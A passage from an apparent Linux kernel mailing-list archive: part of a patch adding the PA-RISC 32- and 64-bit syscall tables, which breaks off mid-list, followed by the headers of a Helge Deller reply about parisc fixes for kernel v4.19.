> +55      common  fcntl                           sys_fcntl                       compat_sys_fcntl
> +56      common  socketpair                      sys_socketpair
> +57      common  setpgid                         sys_setpgid
> +58      common  send                            sys_send
> +59      common  uname                           sys_newuname
> +60      common  umask                           sys_umask
> +61      common  chroot                          sys_chroot
> +62      common  ustat                           sys_ustat                       compat_sys_ustat
> +63      common  dup2                            sys_dup2
> +64      common  getppid                         sys_getppid
> +65      common  getpgrp                         sys_getpgrp
> +66      common  setsid                          sys_setsid
> +67      common  pivot_root                      sys_pivot_root
> +68      common  sgetmask                        sys_sgetmask                    sys32_unimplemented
> +69      common  ssetmask                        sys_ssetmask                    sys32_unimplemented
> +70      common  setreuid                        sys_setreuid
> +71      common  setregid                        sys_setregid
> +72      common  mincore                         sys_mincore
> +73      common  sigpending                      sys_sigpending                  compat_sys_sigpending
> +74      common  sethostname                     sys_sethostname
> +75      common  setrlimit                       sys_setrlimit                   compat_sys_setrlimit
> +76      common  getrlimit                       sys_getrlimit                   compat_sys_getrlimit
> +77      common  getrusage                       sys_getrusage                   compat_sys_getrusage
> +78      common  gettimeofday                    sys_gettimeofday                compat_sys_gettimeofday
> +79      common  settimeofday                    sys_settimeofday                compat_sys_settimeofday
> +80      common  getgroups                       sys_getgroups
> +81      common  setgroups                       sys_setgroups
> +82      common  sendto                          sys_sendto
> +83      common  symlink                         sys_symlink
> +84      common  lstat                           sys_newlstat                    compat_sys_newlstat
> +85      common  readlink                        sys_readlink
> +86      common  uselib                          sys_ni_syscall
> +87      common  swapon                          sys_swapon
> +88      common  reboot                          sys_reboot
> +89      common  mmap2                           sys_mmap2
> +90      common  mmap                            sys_mmap
> +91      common  munmap                          sys_munmap
> +92      common  truncate                        sys_truncate                    compat_sys_truncate
> +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> +94      common  fchmod                          sys_fchmod
> +95      common  fchown                          sys_fchown
> +96      common  getpriority                     sys_getpriority
> +97      common  setpriority                     sys_setpriority
> +98      common  recv                            sys_recv
> +99      common  statfs                          sys_statfs                      compat_sys_statfs
> +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> +101     common  stat64                          sys_stat64
> +103     common  syslog                          sys_syslog
> +104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
> +105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
> +106     common  capget                          sys_capget
> +107     common  capset                          sys_capset
> +108     common  pread64                         sys_pread64                     parisc_pread64
> +109     common  pwrite64                        sys_pwrite64                    parisc_pwrite64
> +110     common  getcwd                          sys_getcwd
> +111     common  vhangup                         sys_vhangup
> +112     common  fstat64                         sys_fstat64
> +113     common  vfork                           sys_vfork_wrapper
> +114     common  wait4                           sys_wait4                       compat_sys_wait4
> +115     common  swapoff                         sys_swapoff
> +116     common  sysinfo                         sys_sysinfo                     compat_sys_sysinfo
> +117     common  shutdown                        sys_shutdown
> +118     common  fsync                           sys_fsync
> +119     common  madvise                         sys_madvise
> +120     common  clone                           sys_clone_wrapper
> +121     common  setdomainname                   sys_setdomainname
> +122     common  sendfile                        sys_sendfile                    compat_sys_sendfile
> +123     common  recvfrom                        sys_recvfrom
> +124     common  adjtimex                        sys_adjtimex                    compat_sys_adjtimex
> +125     common  mprotect                        sys_mprotect
> +126     common  sigprocmask                     sys_sigprocmask                 compat_sys_sigprocmask
> +128     common  init_module                     sys_init_module
> +129     common  delete_module                   sys_delete_module
> +131     common  quotactl                        sys_quotactl
> +132     common  getpgid                         sys_getpgid
> +133     common  fchdir                          sys_fchdir
> +134     common  bdflush                         sys_bdflush
> +135     common  sysfs                           sys_sysfs
> +136     common  personality                     sys_personality                 parisc_personality
> +138     common  setfsuid                        sys_setfsuid
> +139     common  setfsgid                        sys_setfsgid
> +140     common  _llseek                         sys_llseek
> +141     common  getdents                        sys_getdents                    compat_sys_getdents
> +142     common  _newselect                      sys_select                      compat_sys_select
> +143     common  flock                           sys_flock
> +144     common  msync                           sys_msync
> +145     common  readv                           sys_readv                       compat_sys_readv
> +146     common  writev                          sys_writev                      compat_sys_writev
> +147     common  getsid                          sys_getsid
> +148     common  fdatasync                       sys_fdatasync
> +149     common  _sysctl                         sys_sysctl                      compat_sys_sysctl
> +150     common  mlock                           sys_mlock
> +151     common  munlock                         sys_munlock
> +152     common  mlockall                        sys_mlockall
> +153     common  munlockall                      sys_munlockall
> +154     common  sched_setparam                  sys_sched_setparam
> +155     common  sched_getparam                  sys_sched_getparam
> +156     common  sched_setscheduler              sys_sched_setscheduler
> +157     common  sched_getscheduler              sys_sched_getscheduler
> +158     common  sched_yield                     sys_sched_yield
> +159     common  sched_get_priority_max          sys_sched_get_priority_max
> +160     common  sched_get_priority_min          sys_sched_get_priority_min
> +161     common  sched_rr_get_interval           sys_sched_rr_get_interval       compat_sys_sched_rr_get_interval
> +162     common  nanosleep                       sys_nanosleep                   compat_sys_nanosleep
> +163     common  mremap                          sys_mremap
> +164     common  setresuid                       sys_setresuid
> +165     common  getresuid                       sys_getresuid
> +166     common  sigaltstack                     sys_sigaltstack                 compat_sys_sigaltstack
> +168     common  poll                            sys_poll
> +170     common  setresgid                       sys_setresgid
> +171     common  getresgid                       sys_getresgid
> +172     common  prctl                           sys_prctl
> +173     common  rt_sigreturn                    sys_rt_sigreturn
> +174     common  rt_sigaction                    sys_rt_sigaction                compat_sys_rt_sigaction
> +175     common  rt_sigprocmask                  sys_rt_sigprocmask              compat_sys_rt_sigprocmask
> +176     common  rt_sigpending                   sys_rt_sigpending               compat_sys_rt_sigpending
> +177     common  rt_sigtimedwait                 sys_rt_sigtimedwait             compat_sys_rt_sigtimedwait
> +178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo             compat_sys_rt_sigqueueinfo
> +179     common  rt_sigsuspend                   sys_rt_sigsuspend               compat_sys_rt_sigsuspend
> +180     common  chown                           sys_chown
> +181     common  setsockopt                      sys_setsockopt                  compat_sys_setsockopt
> +182     common  getsockopt                      sys_getsockopt                  compat_sys_getsockopt
> +183     common  sendmsg                         sys_sendmsg                     compat_sys_sendmsg
> +184     common  recvmsg                         sys_recvmsg                     compat_sys_recvmsg
> +185     common  semop                           sys_semop
> +186     common  semget                          sys_semget
> +187     common  semctl                          sys_semctl                      compat_sys_semctl
> +188     common  msgsnd                          sys_msgsnd                      compat_sys_msgsnd
> +189     common  msgrcv                          sys_msgrcv                      compat_sys_msgrcv
> +190     common  msgget                          sys_msgget
> +191     common  msgctl                          sys_msgctl                      compat_sys_msgctl
> +192     common  shmat                           sys_shmat                       compat_sys_shmat
> +193     common  shmdt                           sys_shmdt
> +194     common  shmget                          sys_shmget
> +195     common  shmctl                          sys_shmctl                      compat_sys_shmctl
> +198     common  lstat64                         sys_lstat64
> +199     common  truncate64                      sys_truncate64                  parisc_truncate64
> +200     common  ftruncate64                     sys_ftruncate64                 parisc_ftruncate64
> +201     common  getdents64                      sys_getdents64
> +202     common  fcntl64                         sys_fcntl64                     compat_sys_fcntl64
> +206     common  gettid                          sys_gettid
> +207     common  readahead                       sys_readahead                   parisc_readahead
> +208     common  tkill                           sys_tkill
> +209     common  sendfile64                      sys_sendfile64                  compat_sys_sendfile64
> +210     common  futex                           sys_futex                       compat_sys_futex
> +211     common  sched_setaffinity               sys_sched_setaffinity           compat_sys_sched_setaffinity
> +212     common  sched_getaffinity               sys_sched_getaffinity           compat_sys_sched_getaffinity
> +215     common  io_setup                        sys_io_setup                    compat_sys_io_setup
> +216     common  io_destroy                      sys_io_destroy
> +217     common  io_getevents                    sys_io_getevents                compat_sys_io_getevents
> +218     common  io_submit                       sys_io_submit                   compat_sys_io_submit
> +219     common  io_cancel                       sys_io_cancel
> +222     common  exit_group                      sys_exit_group
> +223     common  lookup_dcookie                  sys_lookup_dcookie              compat_sys_lookup_dcookie
> +224     common  epoll_create                    sys_epoll_create
> +225     common  epoll_ctl                       sys_epoll_ctl
> +226     common  epoll_wait                      sys_epoll_wait
> +227     common  remap_file_pages                sys_remap_file_pages
> +228     common  semtimedop                      sys_semtimedop                  compat_sys_semtimedop
> +229     common  mq_open                         sys_mq_open                     compat_sys_mq_open
> +230     common  mq_unlink                       sys_mq_unlink
> +231     common  mq_timedsend                    sys_mq_timedsend                compat_sys_mq_timedsend
> +232     common  mq_timedreceive                 sys_mq_timedreceive             compat_sys_mq_timedreceive
> +233     common  mq_notify                       sys_mq_notify                   compat_sys_mq_notify
> +234     common  mq_getsetattr                   sys_mq_getsetattr               compat_sys_mq_getsetattr
> +235     common  waitid                          sys_waitid                      compat_sys_waitid
> +236     common  fadvise64_64                    sys_fadvise64_64                parisc_fadvise64_64
> +237     common  set_tid_address                 sys_set_tid_address
> +238     common  setxattr                        sys_setxattr
> +239     common  lsetxattr                       sys_lsetxattr
> +240     common  fsetxattr                       sys_fsetxattr
> +241     common  getxattr                        sys_getxattr
> +242     common  lgetxattr                       sys_lgetxattr
> +243     common  fgetxattr                       sys_fgetxattr
> +244     common  listxattr                       sys_listxattr
> +245     common  llistxattr                      sys_llistxattr
> +246     common  flistxattr                      sys_flistxattr
> +247     common  removexattr                     sys_removexattr
> +248     common  lremovexattr                    sys_lremovexattr
> +249     common  fremovexattr                    sys_fremovexattr
> +250     common  timer_create                    sys_timer_create                compat_sys_timer_create
> +251     common  timer_settime                   sys_timer_settime               compat_sys_timer_settime
> +252     common  timer_gettime                   sys_timer_gettime               compat_sys_timer_gettime
> +253     common  timer_getoverrun                sys_timer_getoverrun
> +254     common  timer_delete                    sys_timer_delete
> +255     common  clock_settime                   sys_clock_settime               compat_sys_clock_settime
> +256     common  clock_gettime                   sys_clock_gettime               compat_sys_clock_gettime
> +257     common  clock_getres                    sys_clock_getres                compat_sys_clock_getres
> +258     common  clock_nanosleep                 sys_clock_nanosleep             compat_sys_clock_nanosleep
> +259     common  tgkill                          sys_tgkill
> +260     common  mbind                           sys_mbind                       compat_sys_mbind
> +261     common  get_mempolicy                   sys_get_mempolicy               compat_sys_get_mempolicy
> +262     common  set_mempolicy                   sys_set_mempolicy               compat_sys_set_mempolicy
> +264     common  add_key                         sys_add_key
> +265     common  request_key                     sys_request_key
> +266     common  keyctl                          sys_keyctl                      compat_sys_keyctl
> +267     common  ioprio_set                      sys_ioprio_set
> +268     common  ioprio_get                      sys_ioprio_get
> +269     common  inotify_init                    sys_inotify_init
> +270     common  inotify_add_watch               sys_inotify_add_watch
> +271     common  inotify_rm_watch                sys_inotify_rm_watch
> +272     common  migrate_pages                   sys_migrate_pages
> +273     common  pselect6                        sys_pselect6                    compat_sys_pselect6
> +274     common  ppoll                           sys_ppoll                       compat_sys_ppoll
> +275     common  openat                          sys_openat                      compat_sys_openat
> +276     common  mkdirat                         sys_mkdirat
> +277     common  mknodat                         sys_mknodat
> +278     common  fchownat                        sys_fchownat
> +279     common  futimesat                       sys_futimesat                   compat_sys_futimesat
> +280     common  fstatat64                       sys_fstatat64
> +281     common  unlinkat                        sys_unlinkat
> +282     common  renameat                        sys_renameat
> +283     common  linkat                          sys_linkat
> +284     common  symlinkat                       sys_symlinkat
> +285     common  readlinkat                      sys_readlinkat
> +286     common  fchmodat                        sys_fchmodat
> +287     common  faccessat                       sys_faccessat
> +288     common  unshare                         sys_unshare
> +289     common  set_robust_list                 sys_set_robust_list             compat_sys_set_robust_list
> +290     common  get_robust_list                 sys_get_robust_list             compat_sys_get_robust_list
> +291     common  splice                          sys_splice
> +292     common  sync_file_range                 sys_sync_file_range             parisc_sync_file_range
> +293     common  tee                             sys_tee
> +294     common  vmsplice                        sys_vmsplice                    compat_sys_vmsplice
> +295     common  move_pages                      sys_move_pages                  compat_sys_move_pages
> +296     common  getcpu                          sys_getcpu
> +297     common  epoll_pwait                     sys_epoll_pwait                 compat_sys_epoll_pwait
> +298     common  statfs64                        sys_statfs64                    compat_sys_statfs64
> +299     common  fstatfs64                       sys_fstatfs64                   compat_sys_fstatfs64
> +300     common  kexec_load                      sys_kexec_load                  compat_sys_kexec_load
> +301     common  utimensat                       sys_utimensat                   compat_sys_utimensat
> +302     common  signalfd                        sys_signalfd                    compat_sys_signalfd
> +304     common  eventfd                         sys_eventfd
> +305     common  fallocate                       sys_fallocate                   parisc_fallocate
> +306     common  timerfd_create                  sys_timerfd_create
> +307     common  timerfd_settime                 sys_timerfd_settime             compat_sys_timerfd_settime
> +308     common  timerfd_gettime                 sys_timerfd_gettime             compat_sys_timerfd_gettime
> +309     common  signalfd4                       sys_signalfd4                   compat_sys_signalfd4
> +310     common  eventfd2                        sys_eventfd2
> +311     common  epoll_create1                   sys_epoll_create1
> +312     common  dup3                            sys_dup3
> +313     common  pipe2                           sys_pipe2
> +314     common  inotify_init1                   sys_inotify_init1
> +315     common  preadv                          sys_preadv                      compat_sys_preadv
> +316     common  pwritev                         sys_pwritev                     compat_sys_pwritev
> +317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo           compat_sys_rt_tgsigqueueinfo
> +318     common  perf_event_open                 sys_perf_event_open
> +319     common  recvmmsg                        sys_recvmmsg                    compat_sys_recvmmsg
> +320     common  accept4                         sys_accept4
> +321     common  prlimit64                       sys_prlimit64
> +322     common  fanotify_init                   sys_fanotify_init
> +323     common  fanotify_mark                   sys_fanotify_mark               sys32_fanotify_mark
> +324     common  clock_adjtime                   sys_clock_adjtime               compat_sys_clock_adjtime
> +325     common  name_to_handle_at               sys_name_to_handle_at
> +326     common  open_by_handle_at               sys_open_by_handle_at           compat_sys_open_by_handle_at
> +327     common  syncfs                          sys_syncfs
> +328     common  setns                           sys_setns
> +329     common  sendmmsg                        sys_sendmmsg                    compat_sys_sendmmsg
> +330     common  process_vm_readv                sys_process_vm_readv            compat_sys_process_vm_readv
> +331     common  process_vm_writev               sys_process_vm_writev           compat_sys_process_vm_writev
> +332     common  kcmp                            sys_kcmp
> +333     common  finit_module                    sys_finit_module
> +334     common  sched_setattr                   sys_sched_setattr
> +335     common  sched_getattr                   sys_sched_getattr
> +336     common  utimes                          sys_utimes                      compat_sys_utimes
> +337     common  renameat2                       sys_renameat2
> +338     common  seccomp                         sys_seccomp
> +339     common  getrandom                       sys_getrandom
> +340     common  memfd_create                    sys_memfd_create
> +341     common  bpf                             sys_bpf
> +342     common  execveat                        sys_execveat                    compat_sys_execveat
> +343     common  membarrier                      sys_membarrier
> +344     common  userfaultfd                     sys_userfaultfd
> +345     common  mlock2                          sys_mlock2
> +346     common  copy_file_range                 sys_copy_file_range
> +347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> +349     common  statx                           sys_statx
> +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> \ No newline at end of file
> diff --git a/arch/parisc/kernel/syscalls/syscall_64.tbl b/arch/parisc/kernel/syscalls/syscall_64.tbl
> new file mode 100644
> index 0000000..48d6366
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscall_64.tbl
> @@ -0,0 +1,342 @@
> +#
> +# 64-bit system call numbers and entry vectors
> +#
> +# The format is:
> +# <number> <abi> <name> <entry point>
> +#
> +# The abi is "common" for this file.
> +#
> +0       common  restart_syscall                 sys_restart_syscall
> +1       common  exit                            sys_exit
> +2       common  fork                            sys_fork_wrapper
> +3       common  read                            sys_read
> +4       common  write                           sys_write
> +5       common  open                            sys_open
> +6       common  close                           sys_close
> +7       common  waitpid                         sys_waitpid
> +8       common  creat                           sys_creat
> +9       common  link                            sys_link
> +10      common  unlink                          sys_unlink
> +11      common  execve                          sys_execve
> +12      common  chdir                           sys_chdir
> +13      common  time                            sys_time
> +14      common  mknod                           sys_mknod
> +15      common  chmod                           sys_chmod
> +16      common  lchown                          sys_lchown
> +17      common  socket                          sys_socket
> +18      common  stat                            sys_newstat
> +19      common  lseek                           sys_lseek
> +20      common  getpid                          sys_getpid
> +21      common  mount                           sys_mount
> +22      common  bind                            sys_bind
> +23      common  setuid                          sys_setuid
> +24      common  getuid                          sys_getuid
> +25      common  stime                           sys_stime
> +26      common  ptrace                          sys_ptrace
> +27      common  alarm                           sys_alarm
> +28      common  fstat                           sys_newfstat
> +29      common  pause                           sys_pause
> +30      common  utime                           sys_utime
> +31      common  connect                         sys_connect
> +32      common  listen                          sys_listen
> +33      common  access                          sys_access
> +34      common  nice                            sys_nice
> +35      common  accept                          sys_accept
> +36      common  sync                            sys_sync
> +37      common  kill                            sys_kill
> +38      common  rename                          sys_rename
> +39      common  mkdir                           sys_mkdir
> +40      common  rmdir                           sys_rmdir
> +41      common  dup                             sys_dup
> +42      common  pipe                            sys_pipe
> +43      common  times                           sys_times
> +44      common  getsockname                     sys_getsockname
> +45      common  brk                             sys_brk
> +46      common  setgid                          sys_setgid
> +47      common  getgid                          sys_getgid
> +48      common  signal                          sys_signal
> +49      common  geteuid                         sys_geteuid
> +50      common  getegid                         sys_getegid
> +51      common  acct                            sys_acct
> +52      common  umount2                         sys_umount
> +53      common  getpeername                     sys_getpeername
> +54      common  ioctl                           sys_ioctl
> +55      common  fcntl                           sys_fcntl
> +56      common  socketpair                      sys_socketpair
> +57      common  setpgid                         sys_setpgid
> +58      common  send                            sys_send
> +59      common  uname                           sys_newuname
> +60      common  umask                           sys_umask
> +61      common  chroot                          sys_chroot
> +62      common  ustat                           sys_ustat
> +63      common  dup2                            sys_dup2
> +64      common  getppid                         sys_getppid
> +65      common  getpgrp                         sys_getpgrp
> +66      common  setsid                          sys_setsid
> +67      common  pivot_root                      sys_pivot_root
> +68      common  sgetmask                        sys_sgetmask
> +69      common  ssetmask                        sys_ssetmask
> +70      common  setreuid                        sys_setreuid
> +71      common  setregid                        sys_setregid
> +72      common  mincore                         sys_mincore
> +73      common  sigpending                      sys_sigpending
> +74      common  sethostname                     sys_sethostname
> +75      common  setrlimit                       sys_setrlimit
> +76      common  getrlimit                       sys_getrlimit
> +77      common  getrusage                       sys_getrusage
> +78      common  gettimeofday                    sys_gettimeofday
> +79      common  settimeofday                    sys_settimeofday
> +80      common  getgroups                       sys_getgroups
> +81      common  setgroups                       sys_setgroups
> +82      common  sendto                          sys_sendto
> +83      common  symlink                         sys_symlink
> +84      common  lstat                           sys_newlstat
> +85      common  readlink                        sys_readlink
> +86      common  uselib                          sys_ni_syscall
> +87      common  swapon                          sys_swapon
> +88      common  reboot                          sys_reboot
> +89      common  mmap2                           sys_mmap2
> +90      common  mmap                            sys_mmap
> +91      common  munmap                          sys_munmap
> +92      common  truncate                        sys_truncate
> +93      common  ftruncate                       sys_ftruncate
> +94      common  fchmod                          sys_fchmod
> +95      common  fchown                          sys_fchown
> +96      common  getpriority                     sys_getpriority
> +97      common  setpriority                     sys_setpriority
> +98      common  recv                            sys_recv
> +99      common  statfs                          sys_statfs
> +100     common  fstatfs                         sys_fstatfs
> +101     common  stat64                          sys_stat64
> +103     common  syslog                          sys_syslog
> +104     common  setitimer                       sys_setitimer
> +105     common  getitimer                       sys_getitimer
> +106     common  capget                          sys_capget
> +107     common  capset                          sys_capset
> +108     common  pread64                         sys_pread64
> +109     common  pwrite64                        sys_pwrite64
> +110     common  getcwd                          sys_getcwd
> +111     common  vhangup                         sys_vhangup
> +112     common  fstat64                         sys_fstat64
> +113     common  vfork                           sys_vfork_wrapper
> +114     common  wait4                           sys_wait4
> +115     common  swapoff                         sys_swapoff
> +116     common  sysinfo                         sys_sysinfo
> +117     common  shutdown                        sys_shutdown
> +118     common  fsync                           sys_fsync
> +119     common  madvise                         sys_madvise
> +120     common  clone                           sys_clone_wrapper
> +121     common  setdomainname                   sys_setdomainname
> +122     common  sendfile                        sys_sendfile
> +123     common  recvfrom                        sys_recvfrom
> +124     common  adjtimex                        sys_adjtimex
> +125     common  mprotect                        sys_mprotect
> +126     common  sigprocmask                     sys_sigprocmask
> +128     common  init_module                     sys_init_module
> +129     common  delete_module                   sys_delete_module
> +131     common  quotactl                        sys_quotactl
> +132     common  getpgid                         sys_getpgid
> +133     common  fchdir                          sys_fchdir
> +134     common  bdflush                         sys_bdflush
> +135     common  sysfs                           sys_sysfs
> +136     common  personality                     sys_personality
> +138     common  setfsuid                        sys_setfsuid
> +139     common  setfsgid                        sys_setfsgid
> +140     common  _llseek                         sys_llseek
> +141     common  getdents                        sys_getdents
> +142     common  _newselect                      sys_select
> +143     common  flock                           sys_flock
> +144     common  msync                           sys_msync
> +145     common  readv                           sys_readv
> +146     common  writev                          sys_writev
> +147     common  getsid                          sys_getsid
> +148     common  fdatasync                       sys_fdatasync
> +149     common  _sysctl                         sys_sysctl
> +150     common  mlock                           sys_mlock
> +151     common  munlock                         sys_munlock
> +152     common  mlockall                        sys_mlockall
> +153     common  munlockall                      sys_munlockall
> +154     common  sched_setparam                  sys_sched_setparam
> +155     common  sched_getparam                  sys_sched_getparam
> +156     common  sched_setscheduler              sys_sched_setscheduler
> +157     common  sched_getscheduler              sys_sched_getscheduler
> +158     common  sched_yield                     sys_sched_yield
> +159     common  sched_get_priority_max          sys_sched_get_priority_max
> +160     common  sched_get_priority_min          sys_sched_get_priority_min
> +161     common  sched_rr_get_interval           sys_sched_rr_get_interval
> +162     common  nanosleep                       sys_nanosleep
> +163     common  mremap                          sys_mremap
> +164     common  setresuid                       sys_setresuid
> +165     common  getresuid                       sys_getresuid
> +166     common  sigaltstack                     sys_sigaltstack
> +168     common  poll                            sys_poll
> +170     common  setresgid                       sys_setresgid
> +171     common  getresgid                       sys_getresgid
> +172     common  prctl                           sys_prctl
> +173     common  rt_sigreturn                    sys_rt_sigreturn
> +174     common  rt_sigaction                    sys_rt_sigaction
> +175     common  rt_sigprocmask                  sys_rt_sigprocmask
> +176     common  rt_sigpending                   sys_rt_sigpending
> +177     common  rt_sigtimedwait                 sys_rt_sigtimedwait
> +178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo
> +179     common  rt_sigsuspend                   sys_rt_sigsuspend
> +180     common  chown                           sys_chown
> +181     common  setsockopt                      sys_setsockopt
> +182     common  getsockopt                      sys_getsockopt
> +183     common  sendmsg                         sys_sendmsg
> +184     common  recvmsg                         sys_recvmsg
> +185     common  semop                           sys_semop
> +186     common  semget                          sys_semget
> +187     common  semctl                          sys_semctl
> +188     common  msgsnd                          sys_msgsnd
> +189     common  msgrcv                          sys_msgrcv
> +190     common  msgget                          sys_msgget
> +191     common  msgctl                          sys_msgctl
> +192     common  shmat                           sys_shmat
> +193     common  shmdt                           sys_shmdt
> +194     common  shmget                          sys_shmget
> +195     common  shmctl                          sys_shmctl
> +198     common  lstat64                         sys_lstat64
> +199     common  truncate64                      sys_truncate64
> +200     common  ftruncate64                     sys_ftruncate64
> +201     common  getdents64                      sys_getdents64
> +202     common  fcntl64                         sys_fcntl64
> +206     common  gettid                          sys_gettid
> +207     common  readahead                       sys_readahead
> +208     common  tkill                           sys_tkill
> +209     common  sendfile64                      sys_sendfile64
> +210     common  futex                           sys_futex
> +211     common  sched_setaffinity               sys_sched_setaffinity
> +212     common  sched_getaffinity               sys_sched_getaffinity
> +215     common  io_setup                        sys_io_setup
> +216     common  io_destroy                      sys_io_destroy
> +217     common  io_getevents                    sys_io_getevents
> +218     common  io_submit                       sys_io_submit
> +219     common  io_cancel                       sys_io_cancel
> +222     common  exit_group                      sys_exit_group
> +223     common  lookup_dcookie                  sys_lookup_dcookie
> +224     common  epoll_create                    sys_epoll_create
> +225     common  epoll_ctl                       sys_epoll_ctl
> +226     common  epoll_wait                      sys_epoll_wait
> +227     common  remap_file_pages                sys_remap_file_pages
> +228     common  semtimedop                      sys_semtimedop
> +229     common  mq_open                         sys_mq_open
> +230     common  mq_unlink                       sys_mq_unlink
> +231     common  mq_timedsend                    sys_mq_timedsend
> +232     common  mq_timedreceive                 sys_mq_timedreceive
> +233     common  mq_notify                       sys_mq_notify
> +234     common  mq_getsetattr                   sys_mq_getsetattr
> +235     common  waitid                          sys_waitid
> +236     common  fadvise64_64                    sys_fadvise64_64
> +237     common  set_tid_address                 sys_set_tid_address
> +238     common  setxattr                        sys_setxattr
> +239     common  lsetxattr                       sys_lsetxattr
> +240     common  fsetxattr                       sys_fsetxattr
> +241     common  getxattr                        sys_getxattr
> +242     common  lgetxattr                       sys_lgetxattr
> +243     common  fgetxattr                       sys_fgetxattr
> +244     common  listxattr                       sys_listxattr


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Wed, 3 Oct 2018 16:47:30 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de>
References: <20181002210213.GA17826@ls3530.fritz.box>
 <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
 <20181002222452.GB11788@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1538577942 5214 195.159.176.226 (3 Oct 2018 14:45:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Oct 2018 14:45:42 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 03 16:45:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7iP7-00017E-5c
	for glk-linux-kernel-4@m.gmane.org; Wed, 03 Oct 2018 16:45:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727151AbeJCVgY (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 3 Oct 2018 17:36:24 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:51705 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726801AbeJCVgX (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 3 Oct 2018 17:36:23 -0400
Original-Received: from [192.168.20.60] ([92.116.174.116]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MLj5z-1g8XW332Ch-000pSs; Wed, 03
 Oct 2018 16:47:32 +0200
Original-Received: from [192.168.20.60] ([92.116.174.116]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MLj5z-1g8XW332Ch-000pSs; Wed, 03
 Oct 2018 16:47:32 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20181002222452.GB11788@kroah.com>
Content-Language: en-US
X-Provags-ID: V03:K1:Sl3+6Vekrxjz2BvjMUk1W/1b/td8XfCS0C+QuTTWDFI0chw0rSn
 iuwK7INPy0wNvL6QXBHNZv7KHB5kL7AcagXHCyXfu8Unsdt1OM/WBQfwR+dZS067W/NsQGa
 tISw1E55yh1tlHyycEH9hs5lbvxsVgaxRt784KLJRV6VSVsqgsp8jsecPfNTL3aInFTVn7d
 0vnU8ECV+I7S23MPYIg+Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Z22vGpOd+u4=:3+8+dL39WaZn3sB53pJBup
 Sy0Em7vAAPb1Z516y77gOL9Dcu4dfqa/avXwBURcXzVYh/o2hB/IMVhEadkhojXjbVbtROTtk
 elFAXSrG8sCSdQQZa+PxVfoDZrYVeF6yCCVsMQ1X988MH6Ffm6bOk2J+wFWkvVGqafufYHkob
